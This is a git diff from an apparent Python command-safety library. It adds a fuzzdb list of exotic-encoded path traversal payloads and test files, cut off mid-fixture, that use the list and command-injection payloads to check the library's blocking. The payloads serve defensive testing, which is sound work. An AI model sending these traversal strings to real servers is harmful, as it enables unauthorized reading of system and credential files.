+/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\{FILE} +/..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE} +/..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE} +/..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE} +/..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE} +/..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE} +/..%c0%2f..%c0%2f..%c0%2f{FILE} +/..%c0%2f..%c0%2f{FILE} +/..%c0%2f{FILE} +/..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE} +/..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE} +/..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE} +/..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE} +/..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE} +/..%c0%5c..%c0%5c..%c0%5c{FILE} +/..%c0%5c..%c0%5c{FILE} +/..%c0%5c{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af{FILE} +/..%c0%af{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c{FILE} +/..%c1%9c{FILE} +//..\/..\/..\/..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\{FILE} +//..\/..\/..\{FILE} +//..\/..\{FILE} +//..\{FILE} +/.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//{FILE} +/.//..//.//..//{FILE} +/.//..//{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE} +/./.././.././.././.././.././.././.././../{FILE} +/./.././.././.././.././.././.././../{FILE} +/./.././.././.././.././.././../{FILE} +/./.././.././.././.././../{FILE} +/./.././.././.././../{FILE} +/./.././.././../{FILE} +/./.././../{FILE} +/./../{FILE} +/./\/././\/././\/././\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/./{FILE} +/./\/././\/././\/./{FILE} +/./\/././\/./{FILE} +/./\/./{FILE} +/..///..///..///..///..///..///..///..///{FILE} +/..///..///..///..///..///..///..///{FILE} +/..///..///..///..///..///..///{FILE} +/..///..///..///..///..///{FILE} +/..///..///..///..///{FILE} +/..///..///..///{FILE} +/..///..///{FILE} +/..//..//..//..//..//..//..//..//{FILE} +/..//..//..//..//..//..//..//{FILE} +/..//..//..//..//..//..//{FILE} +/..//..//..//..//..//{FILE} +/..//..//..//..//{FILE} +/..//..//..//{FILE} +/..//..//{FILE} +/..//{FILE} +/../..///{FILE} +/../..//..///{FILE} +/../..//../..///{FILE} +/../..//../..//..///{FILE} +/../..//../..//../..///{FILE} +/../..//../..//../..//..///{FILE} +/../..//../..//../..//../..///{FILE} +/../..//../..//../..//../..//{FILE} +/../..//../..//../..//../{FILE} +/../..//../..//../..//{FILE} +/../..//../..//../{FILE} +/../..//../..//{FILE} +/../..//../{FILE} +/../..//{FILE} +/.../.../.../.../.../.../.../.../{FILE} +/.../.../.../.../.../.../.../{FILE} +/.../.../.../.../.../.../{FILE} +/.../.../.../.../.../{FILE} +/.../.../.../.../{FILE} +/.../.../.../{FILE} +/.../.../{FILE} +/.../{FILE} +/..../..../..../..../..../..../..../..../{FILE} +/..../..../..../..../..../..../..../{FILE} +/..../..../..../..../..../..../{FILE} +/..../..../..../..../..../{FILE} +/..../..../..../..../{FILE} +/..../..../..../{FILE} +/..../..../{FILE} +/..../{FILE} +/........................................................................../../../../../../../../{FILE} +/........................................................................../../../../../../../{FILE} +/........................................................................../../../../../../{FILE} +/........................................................................../../../../../{FILE} +/........................................................................../../../../{FILE} +/........................................................................../../../{FILE} +/........................................................................../../{FILE} +/........................................................................../{FILE} +/..........................................................................\..\..\..\..\..\..\..\{FILE} +/..........................................................................\..\..\..\..\..\..\{FILE} +/..........................................................................\..\..\..\..\..\{FILE} +/..........................................................................\..\..\..\..\{FILE} +/..........................................................................\..\..\..\{FILE} +/..........................................................................\..\..\{FILE} +/..........................................................................\..\{FILE} +/..........................................................................\{FILE} +/....\....\....\....\....\....\....\....\{FILE} +/....\....\....\....\....\....\....\{FILE} +/....\....\....\....\....\....\{FILE} +/....\....\....\....\....\{FILE} +/....\....\....\....\{FILE} +/....\....\....\{FILE} +/....\....\{FILE} +/....\{FILE} +/...\...\...\...\...\...\...\...\{FILE} +/...\...\...\...\...\...\...\{FILE} +/...\...\...\...\...\...\{FILE} +/...\...\...\...\...\{FILE} +/...\...\...\...\{FILE} +/...\...\...\{FILE} +/...\...\{FILE} +/...\{FILE} +/..\..\\..\..\\..\..\\..\..\\{FILE} +/..\..\\..\..\\..\..\\..\..\\\{FILE} +/..\..\\..\..\\..\..\\..\{FILE} +/..\..\\..\..\\..\..\\..\\\{FILE} +/..\..\\..\..\\..\..\\{FILE} +/..\..\\..\..\\..\..\\\{FILE} +/..\..\\..\..\\..\{FILE} +/..\..\\..\..\\..\\\{FILE} +/..\..\\..\..\\{FILE} +/..\..\\..\..\\\{FILE} +/..\..\\..\{FILE} +/..\..\\..\\\{FILE} +/..\..\\{FILE} +/..\..\\\{FILE} +/..\\..\\..\\..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\{FILE} +/..\\..\\..\\{FILE} +/..\\..\\{FILE} +/..\\{FILE} +/..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\{FILE} +/..\\\..\\\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\{FILE} +/.\/\.\{FILE} +/.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\{FILE} +/.\..\.\..\{FILE} +/.\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\{FILE} +/.\\..\\{FILE} +/\../{FILE} +/\../\../{FILE} +/\../\../\../{FILE} +/\../\../\../\../{FILE} +/\../\../\../\../\../{FILE} +/\../\../\../\../\../\../{FILE} +/\../\../\../\../\../\../\../{FILE} +/\../\../\../\../\../\../\../\../{FILE} +/..%u2215{FILE} +/..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2216{FILE} +/..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%uEFC8{FILE} +/..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uF025{FILE} +/..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\{FILE} +/%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} \ No newline at end of file diff --git a/tests/safe_command/test_api.py b/tests/safe_command/test_api.py index 47598fb..0edf217 100644 --- a/tests/safe_command/test_api.py +++ b/tests/safe_command/test_api.py @@ -45,7 +45,7 @@ def test_empty_command_runs(self, command, original_func): def test_blocks_sensitive_files(self, command, original_func): with pytest.raises(SecurityException) as err: safe_command.run(original_func, command) - assert err.value.args[0] == "Disallowed access to sensitive file: %s" + assert err.value.args[0].startswith("Disallowed access to sensitive file") @mock.patch("security.safe_command.api._call_original") def test_no_restrictions(self, mock_call_original, original_func): @@ -68,7 +68,7 @@ def test_no_restrictions(self, mock_call_original, original_func): def test_blocks_command_chaining(self, command, original_func): with pytest.raises(SecurityException) as err: safe_command.run(original_func, command) - assert err.value.args[0] == "Multiple commands not allowed: %s" + assert err.value.args[0].startswith("Multiple commands not allowed") @pytest.mark.parametrize( "command", @@ -81,4 +81,4 @@ def test_blocks_banned_exc(self, command, original_func): command, restrictions=["PREVENT_COMMON_EXPLOIT_EXECUTABLES"], ) - assert err.value.args[0] == "Disallowed command: %s" + assert err.value.args[0].startswith("Disallowed command") diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py new file mode 100644 index 0000000..2a4cf14 --- /dev/null +++ b/tests/safe_command/test_injection.py @@ -0,0 +1,714 @@ +import pytest +import subprocess +from pathlib import Path +from os import mkfifo, symlink, remove, getenv +from shutil import which + +from security import safe_command +from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command, _shell_expand +from security.exceptions import SecurityException + +with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: + FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f][1:] # Remove newline from the end without modifying payloads and handle escapes +with (Path(__file__).parent / "fuzzdb" / "traversals-8-deep-exotic-encoding.txt").open() as f: + FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f][1:] + + +@pytest.fixture +def setup_teardown(tmpdir): + # Working directory is the tmpdir + wd = Path(tmpdir) + wd.mkdir(exist_ok=True) + + # Create some files and directories to use in the tests + testtxt = wd / "test.txt" + testtxt.write_text("USERDATA1\nUSERDATA2\nUSERDATA3\n") + test2txt = wd / "test2.txt" + test2txt.write_text("USERDATA4\nUSERDATA5\nUSERDATA6\n") + rglob_testdir = wd / "rglob_testdir" + rglob_testdir.mkdir() + rglob_testfile = rglob_testdir / "rglob_testfile.txt" + rglob_testfile.touch() + space_in_name = wd / "space in name.txt" + space_in_name.touch() + + testtxt.touch() + test2txt.touch() + cwd_testfile = Path("./cwdtest.txt").resolve() + cwd_testfile.touch() + fifo_testfile = (wd / "fifo_testfile").resolve() + mkfifo(fifo_testfile) + symlink_testfile = (wd / "symlink_testfile").resolve() + symlink(cwd_testfile, symlink_testfile) # Target of 